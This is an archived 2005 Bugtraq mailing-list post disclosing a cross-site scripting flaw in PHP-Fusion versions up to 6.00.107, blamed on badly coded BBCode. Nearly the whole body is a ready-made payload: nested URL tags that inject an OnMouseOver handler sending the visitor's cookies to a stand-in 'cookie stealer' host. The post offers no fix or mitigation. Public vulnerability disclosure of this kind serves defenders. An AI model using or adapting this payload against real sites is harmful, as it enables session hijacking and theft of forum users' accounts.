[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    PHP-Fusion <= v6.00.107 XSS exploit
From:       slacker4ever_1 () juno ! com
Date:       2005-08-28 23:26:55
Message-ID: 20050828232655.10969.qmail () securityfocus ! com
[Download RAW message or body]

Hello we haved found a vulnerability in PHP-Fusion <=v6.00.107 which allows us to \
steal cookies. The exploit works because of badly coded bbcode. Well here is the \
exploit.

[URL=http://aaaaaa.com/UR[url=aa.com&& \
OnMouseOver=jscript:location='http://direct/to/cookie/stealer.com/?c='+cookie; \
location="http://google.com]][/URL][/url]


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic